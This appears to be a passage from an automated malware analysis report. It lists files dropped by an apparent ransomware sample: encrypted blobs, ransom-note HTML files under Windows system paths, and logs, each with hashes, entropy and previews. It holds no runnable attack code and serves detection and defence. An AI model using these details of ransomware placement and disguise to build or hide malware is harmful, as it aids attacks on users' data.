MD5:	49EFFDA782EF945017226E4EA1D6B2FA
SHA1:	8C2BF1E253A81C19DDA58BE6D469C6AC86DD921B
SHA-256:	4C31E3AE023779902277D3DDF3DC550D257DD9414C0D9EDDD27AD206E6073FFD
SHA-512:	DDAC78184170089A90A796CA634C7048D213D06DE9D10CC9D65BFBA6C0D91CE2EEDC4F0577F8B9FB782C9530A7884FCA41D1B663B4EE1A0275F037E04570BD0E
Malicious:	true
Preview:	....Wln..]...+2.H..T...U.yG#.5.E.$...Xq.oI].9'`.......#.9CFww.7G.m ..F.i......(.B.]p.=..c ...P/...4YCx+...}.:....g5wL$.?O.O.....$....;<T..Kp...?h-WG....D..h2..i....c....\.#.....)`@..z.].N.{..'.v.oM...l..B..?...C...q...U.cQ..`........\|.d.N3...y.f3i... nsJ....[>..8 .g.G.....'.....e".og..G..#...w.C~X.+.v.'...>'..?5Z.U.)^..l..eBC.m...N.TJa..h..A..x4..YB....k...k.../.(.......w...U\...........{..5..@.K.>..rh)....i...?..^.......o/-...+.A.>.[...b..w+2]/..gxOT..A-..[.;....zL.5U9......k..Q.....<qA....M..Tg.-E...[-..h.5,..%..oo}....v.d..A.1.!..\...r.'. \|. {....=#.f.aY..[...._Q...7....#..L.g.\|.K....m.1..K.'....q>d..=.J..i('.H..H.&.....jX...8..<E./.@...o......g=.@a.%.....^t.J..:...@.t..e.B.&.m....R.....X)...B.....J..S.s....Z.R...KR5.z.B. _..R..7f.rl.7g.V.......1(f........{9.o&,...e...#8W._..?gK...V......k-..}...V.K..COb..`z..L.....\.+.";,=.6..nK......V+.e..(._..1....4}..}.].J.]L.k.....X.R...(J.Ay9Ev......P..tt.vK. .+x......5.W.LX.=$......p=

C:\ProgramData\Microsoft\Windows\AppxProvisioning.xml Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	25112
Entropy (8bit):	7.992449595702173
Encrypted:	true
SSDEEP:	768:htyMsgvr3RD31UJp6xB1WTBBkyURH9WZiCd+:htJzrRFQSB1+kRRH9WZk
MD5:	FB0A7E6A8975833F8B13BCEE649B99EA
SHA1:	6D0103C4C38B24CD031CC47645749D2495E90E7D
SHA-256:	DF439D0E1D752BDF225635FAF070A1471B57BDDDDEB4C49986EE403C0779D560
SHA-512:	447B723420D28738216DB40EE7DB6797E08687DBAEDE3156DB4EB04FE942A6BC48646747DF803F650399C1E8E96619CB1B9F2C3F37D76572B99B64261988FE4D
Malicious:	true
Preview:	_4.;.T....N.......xqnR+.O.x.Iq...zA.E..P`.............._...\.....FO._.~......!mC.8.<.R.....g...........V...;.9....u[.I....-.i.@..s.. ..bU......T....vy.....L;....H2..X.%?....R.h8.....q......%o..C.......L,.=B...t..G.G.<..(...Q.......a..n.....yt.V.<Y.eA.~.T.....c3.O(..../^...R.b....5...T._.u.8/2....=..@.I.O..Q...6wU.q.........UQ..9.mu .!...e.D.N<.-.H...u.(.I..............Q5jz..5.Zf\|..<N.aR....H..M`g.....:...\...M..,....D+...M.sR).........(^.Ger.a...(u6....Za..0.:../.69)...K.E.5W.%0X...Om.f....gW...$..w......,.....l...[0\..~..l.^.B.\|.{I..1.X..w..r...Q.CT..b...$....L......iBg.T...../X...qm.}.f_.....9._.T.;..Jt/).....f..AO...`.....%Hy.Q3.....4........`.x8.....J....v...9..:r<...^.""...:..B.Dm...[.)....C.....7...c.....o_)....0.....m...09I....y.......P..j.bu..B....e.T.j.... ..H...I"....k.%.y.~0.}ty.....y.t..D...i..Z.w]*..=.S...{...^..3...d0.......?f..a}....S$@..4.=.o.9/.&$.D.j.....WD..iF.\|z$._p....D..~.e.....T.1\|^J.s..k7...utK.H4:!?..A..s..t...

C:\ProgramData\Microsoft\Windows\Caches\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	4889
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	96:8y+cAl5azln+DtZogtckSUae47f2m5+DHORCiKMr9JM4oqo:8OAl0z8DjaH4af2mwDHORnKMZJM7
MD5:	A567EDB0841F238E4BE8EF0051BF728C
SHA1:	86FF15C748F292EC0418DD868D4DB505522DBFCF
SHA-256:	AF63FC9A5DC026024951CC157DDAE53E98CEF96E3688993F2A0EB997DA72865D
SHA-512:	948809F614E1C3FE6F2F2B584D2459BF18FBEDACD2B56FC81BAAE866015E6B2CF38C46E6B1F05B761189C8CC46B67B590A20956B5B5CEC1F586795C9C0263542
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	16920
Entropy (8bit):	7.989878117686928
Encrypted:	false
SSDEEP:	384:fSTDi/GTsGQayhTnupWf7E0q0TRbj0hbvDMOSBvpgjWuuAMJRgCvqm54kh:KTDi+497upWf7tp0hX8RJuuAM7Chk
MD5:	259BCC5F4581BD103C8E352199E8D47A
SHA1:	84C9B2952C74D0A10C9C56A50807667AD417DCF2
SHA-256:	4AE3C14653AABFBE63D4176E7925671365EDAB404A20CC9C74322BC483DC6101
SHA-512:	35F8E46D269C39E41EB2E4445635C80112106B1537654FC4AB5369FAE6FE0B6B27D5B2D5978BEB4EB4E16F345266588BDB43B2DE962A2EA1A92FD65E44D04624
Malicious:	false
Preview:	R.D......,j.....cT^\|..BP.e..1Es...f.%....7P@..ga..+V....s4..Q..z.........!R;}..~..2a.......^.<.>(....=..n/......./..........:.}e.&9.ZW.`.a4.E.ESX.2......f.q....q.+.&._."....<...b..,b .g.......\|..r.J...Z.<R.8..a7Y...b..Kp....B...K.......(X..-.D......7...d.$.,T.6n1...<.....p......,...x.V..o..Y..\|.Y.X~.P.Z......z.h.Z)Vi..w.mOH...U$U....Y..........3..U-$/l.5\|R..t....](cc]..N.J9..Od...\|..z...^/. H....(.?..+Fa..\-NV..B..d.zs.=...T..U4.^8q..gJj.......N..]......fC...a.......x.[.l..i....~.b.E"s...[uW.x.O.4ZY"..u.o.6..H.....x.g..J)&,.N........!.8..KF...l)..}w..G..QA..WU."...a..H........7.....%..l."D.e,...L.`y.......o......@W..Y.&......~B?...b5....S...[..QX...._..Ea...i4I.<.9M....Og....3..85C..'^..F...T..B..U.<..,w.#.o.n(b..Q...z..U.ei..{....=....F..k.......jI..~......+..e.vH?J>esR..*YjZ%;,.V...in...r.IXt. ....e...\|o..7j<...=-..HrI..H.Yo3...~.....u...a..F...4z..2Dt .{...S..V....>.j4.V"n].`c......W&t..L.....:.w<.U...._ z=d.] .M...W.B.j49K.J........

C:\ProgramData\Microsoft\Windows\ClipSVC\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	4889
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	96:8y+cAl5azln+DtZogtckSUae47f2m5+DHORCiKMr9JM4oqo:8OAl0z8DjaH4af2mwDHORnKMZJM7
MD5:	A567EDB0841F238E4BE8EF0051BF728C
SHA1:	86FF15C748F292EC0418DD868D4DB505522DBFCF
SHA-256:	AF63FC9A5DC026024951CC157DDAE53E98CEF96E3688993F2A0EB997DA72865D
SHA-512:	948809F614E1C3FE6F2F2B584D2459BF18FBEDACD2B56FC81BAAE866015E6B2CF38C46E6B1F05B761189C8CC46B67B590A20956B5B5CEC1F586795C9C0263542
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\ProgramData\Microsoft\Windows\ClipSVC\tokens.dat Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	1451056
Entropy (8bit):	7.9998831685607135
Encrypted:	true
SSDEEP:	24576:UelFnQg/5BiIYgmMCvr3hjLO7On9Tx+9jR/LDRarjZXtuQM4kO:7bnl5igrCvThfO7Yd+9VTwrlXMS/
MD5:	3E239AD3751F572A9B3CD37EA3E21A9F
SHA1:	2CB4EA045745B7B4AF3473EB69D611D8BE51C4CB
SHA-256:	62AF6804621CD8BA5AF8B4DEC441BE0A81286BFFA3EE8D46CE9B73D6CDD1FD19
SHA-512:	EE31FD22369D59467ADA59FDF7815720019A95D62B340E22C3C55AEBD6121A200C3816D7776D8209221EF71C5E04EEF9E4DFC63879DEA1AAF3E2A9E14A922842
Malicious:	true
Preview:	..[.....T...^t...d.#w..4..]..V..S.65..!.......\w..S..o.h....J[X.p.\..<.D.m'-4B..a0!..G.{l.....%@..:.g...c..y...9..3Z.d.....#k3..#/..j..'..kf?..^..^.............y.~.o..c.V../.....n.i. ..B,.....R.vfk.R~<.(rMC..[0.4K[.v...O.r....Mw.d.z6l../B(..X..../..+...U.5...C^n.L.o\..-.qx..m.+....5.N.}k..>\s....'..0nWG.+....w.8.....HH..].5...<q.....L.)@T2.<.............Ic...U$.../..J..K....}.du......Py..}.#Q.[K4:....xj.'..5e.>l.CiD....<;<P...j.....i...&.@<V...XQ.....w.).I[.^H..>..t...#.X.../.w.c....`.r.K..&....f..ZP.2.8...-..^..o...5.4.f.x..Z.LTM...c..$x.<.=...}#........(..C.cpk..l...L...T...J.....G.:eEX.B.(WA..>....M.h....d.6..$_f..wI.......a..f.<.W..b....<..O.....a.h.d%.....".._T..[.".....R..\|..^l&.J....j.x+C34.i...i..J<..oK.1Y...#0.....[.7h.p..>q.aG.>.m.a.^o.:.Q.:.5J....t....9.ph.H\|....,l...&.............&...hN.....O..}T..h(...W.h..O}.-.\|N."X.".V&.0...2A.fqd.U;V.>....j..O.?...W.4..44..u.....E`~......y..........C#.........%.m]..*..`..@@20..,.T{wK>....s...o

C:\ProgramData\Microsoft\Windows\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	4889
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	96:8y+cAl5azln+DtZogtckSUae47f2m5+DHORCiKMr9JM4oqo:8OAl0z8DjaH4af2mwDHORnKMZJM7
MD5:	A567EDB0841F238E4BE8EF0051BF728C
SHA1:	86FF15C748F292EC0418DD868D4DB505522DBFCF
SHA-256:	AF63FC9A5DC026024951CC157DDAE53E98CEF96E3688993F2A0EB997DA72865D
SHA-512:	948809F614E1C3FE6F2F2B584D2459BF18FBEDACD2B56FC81BAAE866015E6B2CF38C46E6B1F05B761189C8CC46B67B590A20956B5B5CEC1F586795C9C0263542
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\ProgramData\USOShared\Logs\NotifyIcon.001.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.9791923282215516
Encrypted:	false
SSDEEP:	192:3t3PkTnbSBNXuelCCmCT4VUKBVahuBdlsiGv45K7QhGMxp54kB:d8LwXue8/u4VhysJsirRxp54kB
MD5:	52E1EC3CF7119D05DF99D99A07FD5088
SHA1:	A02FFE605BB3DFFF9B515B9F742964EA1C492222
SHA-256:	C594100A81012ECB2903A7B4BC02D519A7741E0360BFB0093AADD2D5D9661D8C
SHA-512:	447918E50F61682EA9F2A87531CBCDAC80442F5ADD5A885D31E5B870CE61CFDE23435193EDC327BDBCBEE6D14A26EFC05735DB0D326C5CC29E4EC68BFDBF8C0F
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..pw......OM........~.D.].9.%...z8.iP.#Alv........J..,.........1...U9...T=6O.+.i./.c....ZM.........i\|....]..vg...J.<..eK..E\|..~.tDK....q.@,.tq.>....4..^.{U8_...4=.V.C....R..Oj...:/...#R.e2.-R,..[.w..KS..?.....\@..H8.Z.......\..`d=...\|e}..?..yi.'g......(..m.k...Um....wD.,)\-.w..J............0..'[F..._..^+-`S\|.].;....:kLW\.:.uS.2g._&.........?...$..."..s..z...q..]&.;(NP[m....Q...B..........fpF..>.^Z......S..i.#.A.:A... .u4.{:g..M.W....0..W5..~...h....)C). ..'...q.V.\|..w..:...r..ry..<..M....-.};_MuA...w...U\|9...../...Q..NC.R.....K.[...YAgf_..\,7Y5..+.3...4qeIdS...a.*.2.4...(..$q2.R..e..Q)...T....C...ggW..m.b....S..5.SO..6..?-Tv..U"u.;.%......:.....R..#Z.H....2zr...d.f0....7.QZ^I.../.X....m.:....z......;..,.......;.d.N....{k}+.KB. ...3V..HMm,<..%.....stz_Kp.#\|S.v8...._...y%{..z......_..GY$...+R.>..y...y.E.pR......S....._........N........H6y.X;....... ...

C:\ProgramData\USOShared\Logs\NotifyIcon.003.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.97971047660545
Encrypted:	false
SSDEEP:	192:PsRq754av1ymDEkdae5uEWkv5ojNRSAjScxXcmuffq54kB:P/7rymDEkdaekuKJucxXcmu654kB
MD5:	A3261113040745D75CFBC9894D39EB4E
SHA1:	0BAE724FC2E77CFB5F1649FA8A1DA9958A5428F3
SHA-256:	5F2336EA809E125EF427C0E81F08BBCBE0DDDC46B696CD34E9A23164D3B38C78
SHA-512:	FBB352E5CF17F459016D53528A601EC162026E5B3268B653F6FE03DFA49FEEAF2C0713AF1D9693043AB02207F2E29C2A42A09DBDDCB5384E505AF73CAF2382C1
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..p....2. .CCw.Y...."Hd....B./.#p...\...2.....,.rURd.en..U..Z..o..<J...fQ......b.Gkq.P.h.........A.]S~.`...CTjn.g....E.....z.%1[..S..J.L...<fw.%.[.........bc....W...........:.T.,,f....5.h.(Ko..&....JZ.........n1....29..v.W34....gf....H.PG;...."v...d.#~.....n4.,.......'..J..a1..W.&..2L.Z.M...7g.(......~......WQ{...e\|....[....G..$`Z.8+t>.D.s._=.%L.6...r...s3r.bW.y..0c.3}.VQ..x3L..B....x.6.....IF.-.v.).u."..^.....4......lm.....`.....5C.....Rs.:ad-..z...4..Wj..=.y...c...v.R..9..................v.f..j...U.......>....'..b.....\,9z..+.8<.......e..:7.\;2...d 1.\. #.Y..p....2..9Zn4b.m...hw....FE.\|.... .V8.Oy7..0h...].. ..t.....9..n.B?.J..Q...E)J..a..w.i.+A..'..._.r..$,.]f.+`.v....8.......M....1.D....o.d...,...!.......v5..m...a...#.../......7...F0.Q.G...]t..lMP..]../7.H.U<..V..B.......08.QE...m.U..d.;=..X..p4.?...L..$.E..>\|....~...[u..v...\|~[^T.$m....2x....G.f.

C:\ProgramData\USOShared\Logs\NotifyIcon.004.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.980132130129183
Encrypted:	false
SSDEEP:	192:46NGjibp+NDQxIZPnYM77kg2ACL6ebfg6R/Z3pi65+YN/TSBO12p54kB:4YGjA0wIJYM77DGjrz17i65+3QAp54kB
MD5:	768B9F94F6F55D9E1E20CDF0113D0470
SHA1:	BDD6898D934E8B066580381A7563C93784AECE9B
SHA-256:	340B65894651098E9D4990A8155AD932E6EA57B8022340C1E98369E72B19B53F
SHA-512:	D265CE0C7BAC3D049A4AC24056B5575E880D85C10DFE9EC43F0A6EFD062B00AD5F2D5B7EAAD0339D80C92706B3830A9CB0D044218463DB15AD3936148C4C4E75
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..p.I;..KY3.\#.+.TtY..x.[c.gc^...e...-..V..0G....u..Gz9.\7...XyY.E?...9HBO.U=\.z..T..a)u-..u%.M.p VE.....u..2....5..._D?.M.tl...S.A....x_D3.r.AQS...2../..=K...A?uB^...bu..F3.....X...b;...be_...].c{_.......;0].m.@.>..EUtA4:E.^%.J..l.C~....,.....;...r.....^..aAx...A..#.'e.T...p.k.VA\O.....9xG..(...hs.....JM^.E.....oZ.cu*..B.......H.ss$.6q...6.9.q.1jA.....+[...k .7&....SA.e9.c....S0.u.P.q..D"...[X.-.&....H..!N`._.w..+..<.7...Z.......OxU0v.P.....=d..@M..........d......o.o...!F..B......U..9..i....kX.s.......@....o.R..M..v.]....v..2....,.Z.M/o........9.-....1>m....@.~.q7;..]\|.T...\|.e_.n.....[E;.u@...><.7.n.^aa] ..R.#.w.x.P..@.... 1GV.v6L'.....b....\.{.]..zn./..&.E..O...........................s7.jf...dh..8.i)aA..!....u....tI...Jp'h.4..0.,EF....##.<e6.).\/l..&.d..].&..%...`.,.H.h..$...:..5...Y`Cqq.FO...w.b.x....&R......I".Q.$K,....\|9............W7a[D<..<..b..

C:\ProgramData\USOShared\Logs\NotifyIcon.005.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.979429791294303
Encrypted:	false
SSDEEP:	192:5lETtVBOjtpNBd4Cp2qrziXZHdchyOBV3RLdd0V+KJ5SUh54kR:zETjBOX5DyW58V+KOUh54kR
MD5:	9D1727DA5617C2AFDB4F55ABBD163803
SHA1:	1AC788750B1122D9F27CF99EECB27DDC5220C8D3
SHA-256:	02D66718B0D77BB1ADAEF8A0725052EAD4B7206B3D7AE198D4E5CA49BE2A6DF2
SHA-512:	423870CAAE790882E4EC65AE1D68F4F81BE6A25A808CDD688C2A536E1315E1289C2002E0F3FBFADD9887F7D14F02BF42B545DC4FBDC16D852D85975A460EE397
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..p..Bb..}.J...!Y.KKQP..v....+...Z.h........M..s..E...2...B..s.\|>...^a9..kN..U....x.D$.I.%.zb..)i.E...Ks.y{......jp!a1......n......(......l..V...R.`.-..W..D0.=.`,V....Yq......ot....:....8Iy5UDdp...R.-...v4..}......?.6..J..r.S..m.......7......(..}........'.6.C.E/...\|\|U..C..@1c.......Ue..k....Tu.......-.HL.sX<+.....P.5.K....b.`...#.p........D...=.>....A2.....i...w.....U.Z@/.....g.....v..f.Nv-..H..Ey.......ly~.."...G.#H..BtB+...#.Q..g..r..u4..])..c%j.....x.,..l..{\...../LQ3.NB'v....lm ....b.F..]n..0..o.B..L\|lkD>...M%......H.@.t>.[....U..J.6W....b6.O...'O.rF....D...M....gH.R^P.....l. .....![..h...;@.p..<....=2N.)._..t...<.;.F......Z...N.4[.`.~2...l.^....<.......{m...`..d...L7L.}.......H.:.L.3.....<;R..E..:.O.ix.P{1..Fb.W.Lj?...(...J.G.w3'. .Z.hk....D.T..;"9..Q.n...].......BST...&.....,<...K ...B..@/.....d..+R.......^.s,.\..8...(.>.#.q. ...l..T..._.Gv....U.x.w..vR

C:\ProgramData\USOShared\Logs\NotifyIcon.006.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.980620843404152
Encrypted:	false
SSDEEP:	192:LuNhpFr7VefLX3vy89XyX+pf9c6i0mX8cHhnG54kB:Lu3pJEfbfyeyX+f9c68HBnG54kB
MD5:	E926915D42C6E8F004641A8DEED60011
SHA1:	AD6162FC9A19F8D38A0B33BDBC12A221B7B56E4A
SHA-256:	33B0E023B8E1F46C9D70D040352672042349B45B7AEA32FC11B2E452374884FC
SHA-512:	7C98138FEA6EC3500AFF323E009FB0C87A6A500C2C3856512E1FB1B01641EA384ECD4DF51FD94C3E1BCF2231AA36F3470DDCFA01720B45FCEEBCA89D33281DDB
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..p,.C....A..^e..;......S<..z../.k....j...U....Z.Z..6~..?fI&A.t.[\...c....'...-...x^...D..:xK....2.'.i.B.J...o5._....\|...].........X..N<?........V..J._d2..&.R}.\|...<.{.(.IZ.i\.Z.}MV..S..mQ..F..$.2{q.'..._.8.... .@.....zv....Ni...O_0X.....M!..!:!..;;.....8-.G.iu.].mI...c.l.r....a..u-....Y^.....M...d..3.&G..@v..A..Z!.].....P.<...Yu).H.ES.".>..F;....U..;.$W..G.X..,....[8..4.R$..M... (.n...]..../..Z3......>..>W...L>.8...t.[.. =....S./e>..t3K.z[V..o..P3bo%4Tn"[Mk.q.:.i"..v....... vx...N..>Kfxr....^.v.......Pw/..a.c.j1......CAt.... ..$N..E./...U..W..c.0U...#...:....C. .&.~....K...y..]R..kE...........3.y.L\JMI......c.Orf..V......L)[..r].U..Y.p......:bb.W.W...8.jE....P.C.......sr..(+.^.D....t....3..1.Ow.=.o..#tZ..MmA.g..,.o.n..E@..M&..4.....U..0".B/....7..s...lp..........._..a{.....\|....z`....Y$.5.....M.J..=I.X.#...5..}..96.X...`.k...8..tA.Vx._...s&.d.F.C...$..;e.].

C:\ProgramData\USOShared\Logs\NotifyIcon.007.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.976007240376108
Encrypted:	false
SSDEEP:	192:WKp63Z/3s55W6lspmp4Hbboxlufvq6A4q1VJLzOy7MtSB554kB:WKp8Z25RlspmKM7KX8JG9I554kB
MD5:	4CD39DDBF80F9A15EED760DFC9973DFF
SHA1:	C58F735B35638390D3B8A5F41BE7BF39E4F32A93
SHA-256:	CD0DA8B5FB9AED0D6AAB7436C0E8200B06CEA5DDDE59206F7B62482D40D69D5F
SHA-512:	027E4F5CC0CD912BF97354336EA3A83DF0F2BDF1AE97F222724FEE012D202F3002293F4FC32D46EBA55A345C753B0803D75A45814CBC41B28A9C4D482F949227
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..p%..aO ..s.<@\uP.=......T8......:F.@...s.....(.......(...jqA.w.7.i...I..O.........$.4.hv...q.<.YP^..{......&v.-Q...KZh@P. ..)...byhO..X.....):cO.....t....8...Fb.tj...q..d....x.............?..F....6.....A.'mt .AT..I...G..V.D`.s...u]5...X....h..#%h..'...\|x.L..l.n.R...6.f{~..,...KQ.h........X..-.).....+...k.QI.y.S...q...dC^Z......&...V].6l.".F...(H..7(..P............Q..b..... p.z.1.)..g....Eq.hy....,.uU.VFm.[...>t...Fhg_[r^...~A[.n....)...C.;.{......uX.z.}(..uv...]fl3F....X/.m...-.j..L.]......%......6....L{b.+3D.d.( ..O..,D..!.k....[D+.....A...j.)...wy.....&.\|..X@eOx..ge$....Ur...Z.#...#.W.<..k.>\|.\..+k...b..o".\|n.3Rc.l.k.;X.\|'(.:L......_.%3...ch-.....winUh..p.x.1.].0.Q<.)7...X......E./.A.:;.'.f.%E....R......I.S..I.#!....J...\9....,!.3iHn..........D..5k.p*S....).$..S..[D.;...3.R.W.+.-".....X+C.@..X.&..K...... 8chZ...<.....<V.PW.j.......fBR...Y~...b.q...@...ZD..'R..

C:\ProgramData\USOShared\Logs\NotifyIcon.008.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.977578499825096
Encrypted:	false
SSDEEP:	192:Qp8YI942j5RPYcbFxn+wI4/839ZqP9VqqJDHuqVIe/xpHxp54kB:Q8NnjHPYq/BI4/O9a7qIbxp54kB
MD5:	414C7382F449ADD8A7ED86E2D036F9D9
SHA1:	03A153DB68473ACF0C5E98EF8F2426A0A8247C56
SHA-256:	51B00A6A02CC324A4567F58761AB279758051892C5DA49B093218BFFE049FB40
SHA-512:	333D3AA07088EBE8A3B7DED5C14EB3EE58B7DE46BF370E518C757A2696DD601BFB749BC0FA08524B7E6CE1B85951DFBC0B511DAAE8B962D58A7F197B75C77954
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..p...._.J..d....m.Q.S.=.d..>h..z.c4..,.&...w1..f.L.HjB...e...u..F..}..rj7.dl..A...`o...{~.....T.&E.pP.{p.s.PT].Y....Is2P\..\..P.Y<Z.....T}p..'.t...`.1H........-UpY.JRdI..>i'.V.'/e."7....*.q}.X..n.W........)..\.....A....b..!.F.:.(,71.?..N\|......Of..o..@./..........x..U...\p.....k.......O..`V.Z........F...C."=K..'.&...:Z....d....D...6u....O.5...4..Nm...\|@...Qy....s..L;..Qb..4......8..d.)R#h`3...L...m...W...m....,!.l..8.aH@....%.Xg...O.....?.....x...-.2....8v.....j.....l.Zj<Qx..Y.....<..3t..A..1.RRcU.+gb+.{..~(kU.D.(.D...B`H........Gr.[.X..~A"E..^/...6...SVU....v'1....H..'..[.RE1..^..$....Tw..-$.......B.'...&G......e{a.Bf.A._..(4..>..r1w....om..........N..R..-..{......+L",..<.xX....&..?..8m...y...$vl=.._I.]...u...-...<.:../..=s/_R.,......<.o0_.7.B...,..g....3..0.....N.W...D.t..g.M...J.R...8Z..".W..3\|.{N...JM..D..._..X.%.....&.#5~&j...u....2..59....n.]n..6W...8&=..i."...

C:\ProgramData\USOShared\Logs\NotifyIcon.009.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.980125290727153
Encrypted:	false
SSDEEP:	192:Ws1NEIrVK6Wp60krxMS2bPKCdEXVJWtJSEzDblgyLXeg+Dw6W54kB:Ws1NEIrVD0NS2bPKCaJITJgi/+EJ54kB
MD5:	FF99D6F99DB3E5A00505090B01946DB9
SHA1:	76ECF8F7845F38CAD475AA4F23153EEB17DF77F1
SHA-256:	ACF83EB81FC6FDD18BB89CF5F4678C2515EAEC79D9687F916F64F05BCCFB0152
SHA-512:	96820B7843ACA011EB208D5C89EE4E6E1E185CD14DD0CA8531D37E3D8B870903BA6C9F6F3BA8EFFD5A8BD1303A438B415D8AC3C22A32FDD7A818421300734B9A
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..p0...\: ....T....Fr.X...b....a.F...)+Z~).3.H.7J[\|.....7.:C...a.....x0..p.y,T.5.a.....4.UL...L..........#.D.L......?.U<mO.:.}.VO.Z.y..n....GFO.....^r.u..e....rc.b.lp..E.T....?hu....p.....L.?.v....yxu6/\|V.........].Y{fu*~OW..4..\.-........=..!......[._.S.n.".<yy.S.....B..1.....eJkk.w\......y.~..gT...w..Hy.d...OD..ss.C....p!...,E.qEb.x..&...Y..-{..K...9xF.......Q4U?"..G.g..#..~A..j.m1.._.a....&..M.).E...I.,=..s.eZ.^..Y8.\|....'.L_.P...jR./.......d..!.]..........xo.:TS..6.eY,n.......d.x.6>\|...u}o?...S.a.......E..76...e.....jS...j..z......!.c.)..]......gW..E~.=..0...i..Xt...SB....q........_#."IW.'...Z..ip.......j..%.._.@..e.[.GJz..S..5d..D...j..G.o.4Q....5.s......."\|.9F..Jk.z.J.O~gQ.'.t$'P..?......G..K.........Z..52K.l...\|..a.....S..{ebW...._...U.....\m...y.].U..^.P..\|.v.Jl.5......U.TX...._.`W.C{....Cf../.X9.b&.z..;......V..Io..[."..i.=7o..s....8.2.T....S...

C:\ProgramData\USOShared\Logs\NotifyIcon.010.etl Download File
